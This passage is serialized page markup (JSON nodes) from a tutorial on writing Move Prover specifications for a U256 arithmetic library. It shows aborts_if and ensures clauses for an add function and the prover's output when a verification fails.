copy",{"type":19,"tag":168,"props":6858,"children":6859},{"style":212},[6860],{"type":24,"value":471},{"type":19,"tag":168,"props":6862,"children":6863},{"style":393},[6864],{"type":24,"value":6865},"drop",{"type":19,"tag":168,"props":6867,"children":6868},{"style":212},[6869],{"type":24,"value":471},{"type":19,"tag":168,"props":6871,"children":6872},{"style":393},[6873],{"type":24,"value":3375},{"type":19,"tag":168,"props":6875,"children":6876},{"style":212},[6877],{"type":24,"value":691},{"type":19,"tag":168,"props":6879,"children":6880},{"class":170,"line":198},[6881,6886,6890,6894],{"type":19,"tag":168,"props":6882,"children":6883},{"style":393},[6884],{"type":24,"value":6885}," v0",{"type":19,"tag":168,"props":6887,"children":6888},{"style":399},[6889],{"type":24,"value":1922},{"type":19,"tag":168,"props":6891,"children":6892},{"style":825},[6893],{"type":24,"value":3294},{"type":19,"tag":168,"props":6895,"children":6896},{"style":212},[6897],{"type":24,"value":915},{"type":19,"tag":168,"props":6899,"children":6900},{"class":170,"line":415},[6901,6906,6910,6914],{"type":19,"tag":168,"props":6902,"children":6903},{"style":393},[6904],{"type":24,"value":6905}," v1",{"type":19,"tag":168,"props":6907,"children":6908},{"style":399},[6909],{"type":24,"value":1922},{"type":19,"tag":168,"props":6911,"children":6912},{"style":825},[6913],{"type":24,"value":3294},{"type":19,"tag":168,"props":6915,"children":6916},{"style":212},[6917],{"type":24,"value":915},{"type":19,"tag":168,"props":6919,"children":6920},{"class":170,"line":450},[6921,6926,6930,6934],{"type":19,"tag":168,"props":6922,"children":6923},{"style":393},[6924],{"type":24,"value":6925}," v2",{"type":19,"tag":168,"props":6927,"children":6928},{"style":399},[6929],{"type":24,"value":1922},{"type":19,"tag":168,"props":6931,"children":6932},{"style":825},[6933],{"type":24,"value":3294},{"type":19,"tag":168,"props":6935,"children":6936},{"style":212},[6937],{"type":24,"value":915},{"type":19,"tag":168,"props":6939,"children":6940},{"class":170,"line":560},[6941,6946,6950,6954],{"type":19,"tag":168,"props":6942,"children":6943},{"style":393},[6944],{"type":24,"value":6945}," v3",{"type":19,"tag":168,"props":6947,"children":6948},{"style":399},[6949],{"type":24,"value":1922},{"type":19,"tag":168,"props":6951,"children":6952},{"style":825},[6953],{"type":24,"value":3294},{"type":19,"tag":168,"props":6955,"children":6956},{"style":212},[6957],{"type":24,"value":915},{"type":19,"tag":168,"props":6959,"children":6960},{"class":170,"line":666},[6961],{"type":19,"tag":168,"props":6962,"children":6963},{"style":212},[6964],{"type":24,"value":1326},{"type":19,"tag":20,"props":6966,"children":6967},{},[6968,6970,6976],{"type":24,"value":6969},"Now, let's consider the ",{"type":19,"tag":27,"props":6971,"children":6973},{"className":6972},[],[6974],{"type":24,"value":6975},"add(a: U256, b: U256): U256",{"type":24,"value":6977}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":19,"tag":20,"props":6979,"children":6980},{},[6981],{"type":24,"value":6982},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":19,"tag":20,"props":6984,"children":6985},{},[6986,6988,6994,6996,7003],{"type":24,"value":6987},"For example, if your file is ",{"type":19,"tag":27,"props":6989,"children":6991},{"className":6990},[],[6992],{"type":24,"value":6993},"sources/u256.move",{"type":24,"value":6995},", you can put specifications in ",{"type":19,"tag":269,"props":6997,"children":7000},{"href":6998,"rel":6999},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[273],[7001],{"type":24,"value":7002},"sources/u256.spec.move",{"type":24,"value":948},{"type":19,"tag":158,"props":7005,"children":7007},{"code":7006,"language":362,"meta":7,"className":363,"style":7},"spec add { ... }\n",[7008],{"type":19,"tag":27,"props":7009,"children":7010},{"__ignoreMap":7},[7011],{"type":19,"tag":168,"props":7012,"children":7013},{"class":170,"line":171},[7014,7018,7023,7028,7033],{"type":19,"tag":168,"props":7015,"children":7016},{"style":393},[7017],{"type":24,"value":5712},{"type":19,"tag":168,"props":7019,"children":7020},{"style":393},[7021],{"type":24,"value":7022}," add",{"type":19,"tag":168,"props":7024,"children":7025},{"style":212},[7026],{"type":24,"value":7027}," { ",{"type":19,"tag":168,"props":7029,"children":7030},{"style":399},[7031],{"type":24,"value":7032},"...",{"type":19,"tag":168,"props":7034,"children":7035},{"style":212},[7036],{"type":24,"value":7037}," }\n",{"type":19,"tag":20,"props":7039,"children":7040},{},[7041,7043,7048],{"type":24,"value":7042},"The specifications placed inside the specification blocks are considered ",{"type":19,"tag":293,"props":7044,"children":7045},{},[7046],{"type":24,"value":7047},"Expressions",{"type":24,"value":948},{"type":19,"tag":7050,"props":7051,"children":7053},"h3",{"id":7052},"expressions",[7054],{"type":24,"value":7047},{"type":19,"tag":20,"props":7056,"children":7057},{},[7058],{"type":24,"value":7059},"Let's go over some common expressions.",{"type":19,"tag":20,"props":7061,"children":7062},{},[7063,7068],{"type":19,"tag":27,"props":7064,"children":7066},{"className":7065},[],[7067],{"type":24,"value":5762},{"type":24,"value":7069}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":19,"tag":20,"props":7071,"children":7072},{},[7073,7075,7081],{"type":24,"value":7074},"For example, the ",{"type":19,"tag":27,"props":7076,"children":7078},{"className":7077},[],[7079],{"type":24,"value":7080},"add",{"type":24,"value":7082}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":19,"tag":158,"props":7084,"children":7086},{"code":7085,"language":362,"meta":7,"className":363,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[7087],{"type":19,"tag":27,"props":7088,"children":7089},{"__ignoreMap":7},[7090,7124,7131,7180,7202,7231,7268,7309,7316,7323,7338,7419],{"type":19,"tag":168,"props":7091,"children":7092},{"class":170,"line":171},[7093,7098,7103,7107,7111,7115,7120],{"type":19,"tag":168,"props":7094,"children":7095},{"style":382},[7096],{"type":24,"value":7097},"const",{"type":19,"tag":168,"props":7099,"children":7100},{"style":212},[7101],{"type":24,"value":7102}," P64",{"type":19,"tag":168,"props":7104,"children":7105},{"style":399},[7106],{"type":24,"value":1922},{"type":19,"tag":168,"props":7108,"children":7109},{"style":825},[7110],{"type":24,"value":6285},{"type":19,"tag":168,"props":7112,"children":7113},{"style":399},[7114],{"type":24,"value":402},{"type":19,"tag":168,"props":7116,"children":7117},{"style":192},[7118],{"type":24,"value":7119}," 0x10000000000000000",{"type":19,"tag":168,"props":7121,"children":7122},{"style":212},[7123],{"type":24,"value":412},{"type":19,"tag":168,"props":7125,"children":7126},{"class":170,"line":198},[7127],{"type":19,"tag":168,"props":7128,"children":7129},{"emptyLinePlaceholder":14},[7130],{"type":24,"value":1093},{"type":19,"tag":168,"props":7132,"children":7133},{"class":170,"line":415},[7134,7138,7142,7147,7151,7155,7159,7163,7167,7171,7176],{"type":19,"tag":168,"props":7135,"children":7136},{"style":393},[7137],{"type":24,"value":5712},{"type":19,"tag":168,"props":7139,"children":7140},{"style":393},[7141],{"type":24,"value":3642},{"type":19,"tag":168,"props":7143,"children":7144},{"style":175},[7145],{"type":24,"value":7146}," value_of_U256",{"type":19,"tag":168,"props":7148,"children":7149},{"style":212},[7150],{"type":24,"value":500},{"type":19,"tag":168,"props":7152,"children":7153},{"style":393},[7154],{"type":24,"value":269},{"type":19,"tag":168,"props":7156,"children":7157},{"style":399},[7158],{"type":24,"value":1922},{"type":19,"tag":168,"props":7160,"children":7161},{"style":825},[7162],{"type":24,"value":2162},{"type":19,"tag":168,"props":7164,"children":7165},{"style":212},[7166],{"type":24,"value":524},{"type":19,"tag":168,"props":7168,"children":7169},{"style":399},[7170],{"type":24,"value":1922},{"type":19,"tag":168,"props":7172,"children":7173},{"style":393},[7174],{"type":24,"value":7175}," num",{"type":19,"tag":168,"props":7177,"children":7178},{"style":212},[7179],{"type":24,"value":691},{"type":19,"tag":168,"props":7181,"children":7182},{"class":170,"line":450},[7183,7188,7192,7197],{"type":19,"tag":168,"props":7184,"children":7185},{"style":393},[7186],{"type":24,"value":7187}," a",{"type":19,"tag":168,"props":7189,"children":7190},{"style":399},[7191],{"type":24,"value":948},{"type":19,"tag":168,"props":7193,"children":7194},{"style":212},[7195],{"type":24,"value":7196},"v0 ",{"type":19,"tag":168,"props":7198,"children":7199},{"style":399},[7200],{"type":24,"value":7201},"+\n",{"type":19,"tag":168,"props":7203,"children":7204},{"class":170,"line":560},[7205,7209,7213,7218,7222,7226],{"type":19,"tag":168,"props":7206,"children":7207},{"style":393},[7208],{"type":24,"value":7187},{"type":19,"tag":168,"props":7210,"children":7211},{"style":399},[7212],{"type":24,"value":948},{"type":19,"tag":168,"props":7214,"children":7215},{"style":212},[7216],{"type":24,"value":7217},"v1 ",{"type":19,"tag":168,"props":7219,"children":7220},{"style":399},[7221],{"type":24,"value":2002},{"type":19,"tag":168,"props":7223,"children":7224},{"style":825},[7225],{"type":24,"value":7102},{"type":19,"tag":168,"props":7227,"children":7228},{"style":399},[7229],{"type":24,"value":7230}," +\n",{"type":19,"tag":168,"props":7232,"children":7233},{"class":170,"line":666},[7234,7238,7242,7247,7251,7255,7260,7264],{"type":19,"tag":168,"props":7235,"children":7236},{"style":393},[7237],{"type":24,"value":7187},{"type":19,"tag":168,"props":7239,"children":7240},{"style":399},[7241],{"type":24,"value":948},{"type":19,"tag":168,"props":7243,"children":7244},{"style":212},[7245],{"type":24,"value":7246},"v2 ",{"type":19,"tag":168,"props":7248,"children":7249},{"style":399},[7250],{"type":24,"value":2002},{"type":19,"tag":168,"props":7252,"children":7253},{"style":825},[7254],{"type":24,"value":7102},{"type":19,"tag":168,"props":7256,"children":7257},{"style":399},[7258],{"type":24,"value":7259}," *",{"type":19,"tag":168,"props":7261,"children":7262},{"style":825},[7263],{"type":24,"value":7102},{"type":19,"tag":168,"props":7265,"children":7266},{"style":399},[7267],{"type":24,"value":7230},{"type":19,"tag":168,"props":7269,"children":7270},{"class":170,"line":694},[7271,7275,7279,7284,7288,7292,7296,7300,7304],{"type":19,"tag":168,"props":7272,"children":7273},{"style":393},[7274],{"type":24,"value":7187},{"type":19,"tag":168,"props":7276,"children":7277},{"style":399},[7278],{"type":24,"value":948},{"type":19,"tag":168,"props":7280,"children":7281},{"style":212},[7282],{"type":24,"value":7283},"v3 ",{"type":19,"tag":168,"props":7285,"children":7286},{"style":399},[7287],{"type":24,"value":2002},{"type":19,"tag":168,"props":7289,"children":7290},{"style":825},[7291],{"type":24,"value":7102},{"type":19,"tag":168,"props":7293,"children":7294},{"style":399},[7295],{"type":24,"value":7259},{"type":19,"tag":168,"props":7297,"children":7298},{"style":825},[7299],{"type":24,"value":7102},{"type":19,"tag":168,"props":7301,"children":7302},{"style":399},[7303],{"type":24,"value":7259},{"type":19,"tag":168,"props":7305,"children":7306},{"style":825},[7307],{"type":24,"value":7308}," P64\n",{"type":19,"tag":168,"props":7310,"children":7311},{"class":170,"line":707},[7312],{"type":19,"tag":168,"props":7313,"children":7314},{"style":212},[7315],{"type":24,"value":1326},{"type":19,"tag":168,"props":7317,"children":7318},{"class":170,"line":725},[7319],{"type":19,"tag":168,"props":7320,"children":7321},{"emptyLinePlaceholder":14},[7322],{"type":24,"value":1093},{"type":19,"tag":168,"props":7324,"children":7325},{"class":170,"line":746},[7326,7330,7334],{"type":19,"tag":168,"props":7327,"children":7328},{"style":393},[7329],{"type":24,"value":5712},{"type":19,"tag":168,"props":7331,"children":7332},{"style":393},[7333],{"type":24,"value":7022},{"type":19,"tag":168,"props":7335,"children":7336},{"style":212},[7337],{"type":24,"value":691},{"type":19,"tag":168,"props":7339,"children":7340},{"class":170,"line":755},[7341,7346,7350,7354,7358,7362,7366,7370,7374,7378,7382,7387,7391,7395,7399,7403,7407,7411,7415],{"type":19,"tag":168,"props":7342,"children":7343},{"style":393},[7344],{"type":24,"value":7345}," aborts_if",{"type":19,"tag":168,"props":7347,"children":7348},{"style":175},[7349],{"type":24,"value":7146},{"type":19,"tag":168,"props":7351,"children":7352},{"style":212},[7353],{"type":24,"value":500},{"type":19,"tag":168,"props":7355,"children":7356},{"style":393},[7357],{"type":24,"value":269},{"type":19,"tag":168,"props":7359,"children":7360},{"style":212},[7361],{"type":24,"value":481},{"type":19,"tag":168,"props":7363,"children":7364},{"style":399},[7365],{"type":24,"value":1811},{"type":19,"tag":168,"props":7367,"children":7368},{"style":175},[7369],{"type":24,"value":7146},{"type":19,"tag":168,"props":7371,"children":7372},{"style":212},[7373],{"type":24,"value":500},{"type":19,"tag":168,"props":7375,"children":7376},{"style":393},[7377],{"type":24,"value":621},{"type":19,"tag":168,"props":7379,"children":7380},{"style":212},[7381],{"type":24,"value":481},{"type":19,"tag":168,"props":7383,"children":7384},{"style":399},[7385],{"type":24,"value":7386},">=",{"type":19,"tag":168,"props":7388,"children":7389},{"style":825},[7390],{"type":24,"value":7102},{"type":19,"tag":168,"props":7392,"children":7393},{"style":399},[7394],{"type":24,"value":7259},{"type":19,"tag":168,"props":7396,"children":7397},{"style":825},[7398],{"type":24,"value":7102},{"type":19,"tag":168,"props":7400,"children":7401},{"style":399},[7402],{"type":24,"value":7259},{"type":19,"tag":168,"props":7404,"children":7405},{"style":825},[7406],{"type":24,"value":7102},{"type":19,"tag":168,"props":7408,"children":7409},{"style":399},[7410],{"type":24,"value":7259},{"type":19,"tag":168,"props":7412,"children":7413},{"style":825},[7414],{"type":24,"value":7102},{"type":19,"tag":168,"props":7416,"children":7417},{"style":212},[7418],{"type":24,"value":412},{"type":19,"tag":168,"props":7420,"children":7421},{"class":170,"line":1008},[7422],{"type":19,"tag":168,"props":7423,"children":7424},{"style":212},[7425],{"type":24,"value":1326},{"type":19,"tag":20,"props":7427,"children":7428},{},[7429,7431,7438],{"type":24,"value":7430},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":19,"tag":269,"props":7432,"children":7435},{"href":7433,"rel":7434},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[273],[7436],{"type":24,"value":7437},"MSL function",{"type":24,"value":7439},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":19,"tag":20,"props":7441,"children":7442},{},[7443,7445,7450,7451,7456],{"type":24,"value":7444},"A common pattern for ",{"type":19,"tag":27,"props":7446,"children":7448},{"className":7447},[],[7449],{"type":24,"value":5762},{"type":24,"value":2934},{"type":19,"tag":27,"props":7452,"children":7454},{"className":7453},[],[7455],{"type":24,"value":5770},{"type":24,"value":7457},", which lets you prove that a function will never abort.",{"type":19,"tag":158,"props":7459,"children":7461},{"code":7460,"language":362,"meta":7,"className":363,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[7462],{"type":19,"tag":27,"props":7463,"children":7464},{"__ignoreMap":7},[7465,7481,7496],{"type":19,"tag":168,"props":7466,"children":7467},{"class":170,"line":171},[7468,7472,7477],{"type":19,"tag":168,"props":7469,"children":7470},{"style":393},[7471],{"type":24,"value":5712},{"type":19,"tag":168,"props":7473,"children":7474},{"style":393},[7475],{"type":24,"value":7476}," critical_function",{"type":19,"tag":168,"props":7478,"children":7479},{"style":212},[7480],{"type":24,"value":691},{"type":19,"tag":168,"props":7482,"children":7483},{"class":170,"line":198},[7484,7488,7492],{"type":19,"tag":168,"props":7485,"children":7486},{"style":393},[7487],{"type":24,"value":7345},{"type":19,"tag":168,"props":7489,"children":7490},{"style":382},[7491],{"type":24,"value":6497},{"type":19,"tag":168,"props":7493,"children":7494},{"style":212},[7495],{"type":24,"value":412},{"type":19,"tag":168,"props":7497,"children":7498},{"class":170,"line":415},[7499],{"type":19,"tag":168,"props":7500,"children":7501},{"style":212},[7502],{"type":24,"value":1326},{"type":19,"tag":20,"props":7504,"children":7505},{},[7506,7508,7514],{"type":24,"value":7507},"Another type of expression that we can use is ",{"type":19,"tag":27,"props":7509,"children":7511},{"className":7510},[],[7512],{"type":24,"value":7513},"ensures",{"type":24,"value":7515},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":19,"tag":20,"props":7517,"children":7518},{},[7519,7521,7526,7528,7533],{"type":24,"value":7520},"In the case of the ",{"type":19,"tag":27,"props":7522,"children":7524},{"className":7523},[],[7525],{"type":24,"value":7080},{"type":24,"value":7527}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":19,"tag":51,"props":7529,"children":7530},{},[7531],{"type":24,"value":7532},"MSL uses unbounded numbers",{"type":24,"value":7534},", we're able to very cleanly express this property without worrying about overflows.",{"type":19,"tag":158,"props":7536,"children":7538},{"code":7537,"language":362,"meta":7,"className":363,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[7539],{"type":19,"tag":27,"props":7540,"children":7541},{"__ignoreMap":7},[7542,7557,7636,7700],{"type":19,"tag":168,"props":7543,"children":7544},{"class":170,"line":171},[7545,7549,7553],{"type":19,"tag":168,"props":7546,"children":7547},{"style":393},[7548],{"type":24,"value":5712},{"type":19,"tag":168,"props":7550,"children":7551},{"style":393},[7552],{"type":24,"value":7022},{"type":19,"tag":168,"props":7554,"children":7555},{"style":212},[7556],{"type":24,"value":691},{"type":19,"tag":168,"props":7558,"children":7559},{"class":170,"line":198},[7560,7564,7568,7572,7576,7580,7584,7588,7592,7596,7600,7604,7608,7612,7616,7620,7624,7628,7632],{"type":19,"tag":168,"props":7561,"children":7562},{"style":393},[7563],{"type":24,"value":7345},{"type":19,"tag":168,"props":7565,"children":7566},{"style":175},[7567],{"type":24,"value":7146},{"type":19,"tag":168,"props":7569,"children":7570},{"style":212},[7571],{"type":24,"value":500},{"type":19,"tag":168,"props":7573,"children":7574},{"style":393},[7575],{"type":24,"value":269},{"type":19,"tag":168,"props":7577,"children":7578},{"style":212},[7579],{"type":24,"value":481},{"type":19,"tag":168,"props":7581,"children":7582},{"style":399},[7583],{"type":24,"value":1811},{"type":19,"tag":168,"props":7585,"children":7586},{"style":175},[7587],{"type":24,"value":7146},{"type":19,"tag":168,"props":7589,"children":7590},{"style":212},[7591],{"type":24,"value":500},{"type":19,"tag":168,"props":7593,"children":7594},{"style":393},[7595],{"type":24,"value":621},{"type":19,"tag":168,"props":7597,"children":7598},{"style":212},[7599],{"type":24,"value":481},{"type":19,"tag":168,"props":7601,"children":7602},{"style":399},[7603],{"type":24,"value":7386},{"type":19,"tag":168,"props":7605,"children":7606},{"style":825},[7607],{"type":24,"value":7102},{"type":19,"tag":168,"props":7609,"children":7610},{"style":399},[7611],{"type":24,"value":7259},{"type":19,"tag":168,"props":7613,"children":7614},{"style":825},[7615],{"type":24,"value":7102},{"type":19,"tag":168,"props":7617,"children":7618},{"style":399},[7619],{"type":24,"value":7259},{"type":19,"tag":168,"props":7621,"children":7622},{"style":825},[7623],{"type":24,"value":7102},{"type":19,"tag":168,"props":7625,"children":7626},{"style":399},[7627],{"type":24,"value":7259},{"type":19,"tag":168,"props":7629,"children":7630},{"style":825},[7631],{"type":24,"value":7102},{"type":19,"tag":168,"props":7633,"children":7634},{"style":212},[7635],{"type":24,"value":412},{"type":19,"tag":168,"props":7637,"children":7638},{"class":170,"line":415},[7639,7644,7648,7652,7656,7660,7664,7668,7672,7676,7680,7684,7688,7692,7696],{"type":19,"tag":168,"props":7640,"children":7641},{"style":393},[7642],{"type":24,"value":7643}," ensures",{"type":19,"tag":168,"props":7645,"children":7646},{"style":175},[7647],{"type":24,"value":7146},{"type":19,"tag":168,"props":7649,"children":7650},{"style":212},[7651],{"type":24,"value":500},{"type":19,"tag":168,"props":7653,"children":7654},{"style":393},[7655],{"type":24,"value":6522},{"type":19,"tag":168,"props":7657,"children":7658},{"style":212},[7659],{"type":24,"value":481},{"type":19,"tag":168,"props":7661,"children":7662},{"style":399},[7663],{"type":24,"value":6013},{"type":19,"tag":168,"props":7665,"children":7666},{"style":175},[7667],{"type":24,"value":7146},{"type":19,"tag":168,"props":7669,"children":7670},{"style":212},[7671],{"type":24,"value":500},{"type":19,"tag":168,"props":7673,"children":7674},{"style":393},[7675],{"type":24,"value":269},{"type":19,"tag":168,"props":7677,"children":7678},{"style":212},[7679],{"type":24,"value":481},{"type":19,"tag":168,"props":7681,"children":7682},{"style":399},[7683],{"type":24,"value":1811},{"type":19,"tag":168,"props":7685,"children":7686},{"style":175},[7687],{"type":24,"value":7146},{"type":19,"tag":168,"props":7689,"children":7690},{"style":212},[7691],{"type":24,"value":500},{"type":19,"tag":168,"props":7693,"children":7694},{"style":393},[7695],{"type":24,"value":621},{"type":19,"tag":168,"props":7697,"children":7698},{"style":212},[7699],{"type":24,"value":1249},{"type":19,"tag":168,"props":7701,"children":7702},{"class":170,"line":450},[7703],{"type":19,"tag":168,"props":7704,"children":7705},{"style":212},[7706],{"type":24,"value":1326},{"type":19,"tag":20,"props":7708,"children":7709},{},[7710],{"type":24,"value":7711},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":19,"tag":20,"props":7713,"children":7714},{},[7715],{"type":24,"value":7716},"Let's try to prove the library with the specifications from above:",{"type":19,"tag":158,"props":7718,"children":7720},{"code":7719,"language":162,"meta":7,"className":160,"style":7},"$ move prove\n",[7721],{"type":19,"tag":27,"props":7722,"children":7723},{"__ignoreMap":7},[7724],{"type":19,"tag":168,"props":7725,"children":7726},{"class":170,"line":171},[7727,7732,7737],{"type":19,"tag":168,"props":7728,"children":7729},{"style":175},[7730],{"type":24,"value":7731},"$",{"type":19,"tag":168,"props":7733,"children":7734},{"style":181},[7735],{"type":24,"value":7736}," move",{"type":19,"tag":168,"props":7738,"children":7739},{"style":181},[7740],{"type":24,"value":7741}," prove\n",{"type":19,"tag":20,"props":7743,"children":7744},{},[7745],{"type":24,"value":7746},"It outputs the following error information:",{"type":19,"tag":158,"props":7748,"children":7750},{"code":7749,"language":162,"meta":7,"className":160,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[7751],{"type":19,"tag":27,"props":7752,"children":7753},{"__ignoreMap":7},[7754,7762,7769,7831,7852,7942,8010,8022,8030,8037,8044,8051,8069,8130,8147,8164,8236,8252,8260,8267,8317,8325,8342],{"type":19,"tag":168,"props":7755,"children":7756},{"class":170,"line":171},[7757],{"type":19,"tag":168,"props":7758,"children":7759},{"style":212},[7760],{"type":24,"value":7761},"[...]\n",{"type":19,"tag":168,"props":7763,"children":7764},{"class":170,"line":198},[7765],{"type":19,"tag":168,"props":7766,"children":7767},{"emptyLinePlaceholder":14},[7768],{"type":24,"value":1093},{"type":19,"tag":168,"props":7770,"children":7771},{"class":170,"line":415},[7772,7777,7782,7787,7792,7797,7802,7807,7812,7817,7821,7826],{"type":19,"tag":168,"props":7773,"children":7774},{"style":175},[7775],{"type":24,"value":7776},"error:",{"type":19,"tag":168,"props":7778,"children":7779},{"style":181},[7780],{"type":24,"value":7781}," abort",{"type":19,"tag":168,"props":7783,"children":7784},{"style":181},[7785],{"type":24,"value":7786}," not",{"type":19,"tag":168,"props":7788,"children":7789},{"style":181},[7790],{"type":24,"value":7791}," covered",{"type":19,"tag":168,"props":7793,"children":7794},{"style":181},[7795],{"type":24,"value":7796}," by",{"type":19,"tag":168,"props":7798,"children":7799},{"style":181},[7800],{"type":24,"value":7801}," any",{"type":19,"tag":168,"props":7803,"children":7804},{"style":181},[7805],{"type":24,"value":7806}," of",{"type":19,"tag":168,"props":7808,"children":7809},{"style":181},[7810],{"type":24,"value":7811}," the",{"type":19,"tag":168,"props":7813,"children":7814},{"style":181},[7815],{"type":24,"value":7816}," `",{"type":19,"tag":168,"props":7818,"children":7819},{"style":175},[7820],{"type":24,"value":5762},{"type":19,"tag":168,"props":7822,"children":7823},{"style":181},[7824],{"type":24,"value":7825},"`",{"type":19,"tag":168,"props":7827,"children":7828},{"style":175},[7829],{"type":24,"value":7830}," clauses\n",{"type":19,"tag":168,"props":7832,"children":7833},{"class":170,"line":450},[7834,7839,7844,7848],{"type":19,"tag":168,"props":7835,"children":7836},{"style":175},[7837],{"type":24,"value":7838},"╭",{"type":19,"tag":168,"props":7840,"children":7841},{"style":181},[7842],{"type":24,"value":7843}," spec",{"type":19,"tag":168,"props":7845,"children":7846},{"style":181},[7847],{"type":24,"value":7022},{"type":19,"tag":168,"props":7849,"children":7850},{"style":181},[7851],{"type":24,"value":691},{"type":19,"tag":168,"props":7853,"children":7854},{"class":170,"line":560},[7855,7860,7865,7869,7873,7877,7881,7885,7889,7893,7897,7901,7906,7910,7914,7918,7922,7926,7930,7934,7938],{"type":19,"tag":168,"props":7856,"children":7857},{"style":399},[7858],{"type":24,"value":7859},"|",{"type":19,"tag":168,"props":7861,"children":7862},{"style":175},[7863],{"type":24,"value":7864}," aborts_if",{"type":19,"tag":168,"props":7866,"children":7867},{"style":181},[7868],{"type":24,"value":7146},{"type":19,"tag":168,"props":7870,"children":7871},{"style":212},[7872],{"type":24,"value":500},{"type":19,"tag":168,"props":7874,"children":7875},{"style":175},[7876],{"type":24,"value":269},{"type":19,"tag":168,"props":7878,"children":7879},{"style":212},[7880],{"type":24,"value":481},{"type":19,"tag":168,"props":7882,"children":7883},{"style":181},[7884],{"type":24,"value":1811},{"type":19,"tag":168,"props":7886,"children":7887},{"style":181},[7888],{"type":24,"value":7146},{"type":19,"tag":168,"props":7890,"children":7891},{"style":212},[7892],{"type":24,"value":500},{"type":19,"tag":168,"props":7894,"children":7895},{"style":175},[7896],{"type":24,"value":621},{"type":19,"tag":168,"props":7898,"children":7899},{"style":212},[7900],{"type":24,"value":481},{"type":19,"tag":168,"props":7902,"children":7903},{"style":399},[7904],{"type":24,"value":7905},">",{"type":19,"tag":168,"props":7907,"children":7908},{"style":181},[7909],{"type":24,"value":486},{"type":19,"tag":168,"props":7911,"children":7912},{"style":181},[7913],{"type":24,"value":7102},{"type":19,"tag":168,"props":7915,"children":7916},{"style":382},[7917],{"type":24,"value":7259},{"type":19,"tag":168,"props":7919,"children":7920},{"style":181},[7921],{"type":24,"value":7102},{"type":19,"tag":168,"props":7923,"children":7924},{"style":382},[7925],{"type":24,"value":7259},{"type":19,"tag":168,"props":7927,"children":7928},{"style":181},[7929],{"type":24,"value":7102},{"type":19,"tag":168,"props":7931,"children":7932},{"style":382},[7933],{"type":24,"value":7259},{"type":19,"tag":168,"props":7935,"children":7936},{"style":181},[7937],{"type":24,"value":7102},{"type":19,"tag":168,"props":7939,"children":7940},{"style":212},[7941],{"type":24,"value":412},{"type":19,"tag":168,"props":7943,"children":7944},{"class":170,"line":666},[7945,7949,7954,7958,7962,7966,7970,7974,7978,7982,7986,7990,7994,7998,8002,8006],{"type":19,"tag":168,"props":7946,"children":7947},{"style":399},[7948],{"type":24,"value":7859},{"type":19,"tag":168,"props":7950,"children":7951},{"style":175},[7952],{"type":24,"value":7953}," ensures",{"type":19,"tag":168,"props":7955,"children":7956},{"style":181},[7957],{"type":24,"value":7146},{"type":19,"tag":168,"props":7959,"children":7960},{"style":212},[7961],{"type":24,"value":500},{"type":19,"tag":168,"props":7963,"children":7964},{"style":175},[7965],{"type":24,"value":6522},{"type":19,"tag":168,"props":7967,"children":7968},{"style":212},[7969],{"type":24,"value":481},{"type":19,"tag":168,"props":7971,"children":7972},{"style":181},[7973],{"type":24,"value":6013},{"type":19,"tag":168,"props":7975,"children":7976},{"style":181},[7977],{"type":24,"value":7146},{"type":19,"tag":168,"props":7979,"children":7980},{"style":212},[7981],{"type":24,"value":500},{"type":19,"tag":168,"props":7983,"children":7984},{"style":175},[7985],{"type":24,"value":269},{"type":19,"tag":168,"props":7987,"children":7988},{"style":212},[7989],{"type":24,"value":481},{"type":19,"tag":168,"props":7991,"children":7992},{"style":181},[7993],{"type":24,"value":1811},{"type":19,"tag":168,"props":7995,"children":7996},{"style":181},[7997],{"type":24,"value":7146},{"type":19,"tag":168,"props":7999,"children":8000},{"style":212},[8001],{"type":24,"value":500},{"type":19,"tag":168,"props":8003,"children":8004},{"style":175},[8005],{"type":24,"value":621},{"type":19,"tag":168,"props":8007,"children":8008},{"style":212},[8009],{"type":24,"value":1249},{"type":19,"tag":168,"props":8011,"children":8012},{"class":170,"line":694},[8013,8017],{"type":19,"tag":168,"props":8014,"children":8015},{"style":399},[8016],{"type":24,"value":7859},{"type":19,"tag":168,"props":8018,"children":8019},{"style":212},[8020],{"type":24,"value":8021}," 